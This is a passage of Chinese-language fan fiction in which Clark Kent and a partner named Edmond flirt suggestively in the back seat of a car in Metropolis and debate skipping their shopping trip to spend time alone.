埃德蒙和克拉克坐在后座,两人依偎在一起,这倒不是因为埃德蒙不喜欢开车,实在是大都会找不到什么停车的地方,而且还容易堵车,有时候交通事故会造成超人得把车一辆辆搬开。克拉克把脸贴在埃德蒙的脸上,低声说:“要不今天你我就别回去了,在我的公寓里住一晚怎么样?” 埃德蒙的大拇指摩挲着克拉克的腰线,克拉克的腰很窄,尤其是和他宽阔的胸肌和丰腴的臀部相比,甚至给人一种“盈盈一握”的错觉。他同样低声说:“不行啊,雨果一定叫我带你回家住几晚,所以九点前我们必须返程……我会在家里补偿你的,克拉克。” 克拉克的眼睛濡湿起来,他凑过去轻咬着埃德蒙的嘴唇,在车里低声说:“要不是这里容易堵车停车,我要你现在就补偿给我,埃德蒙,你猜猜我能吞下去多少……要不我们干脆开个房吧,别逛街了,反正这两天街上也没什么新鲜的东西。”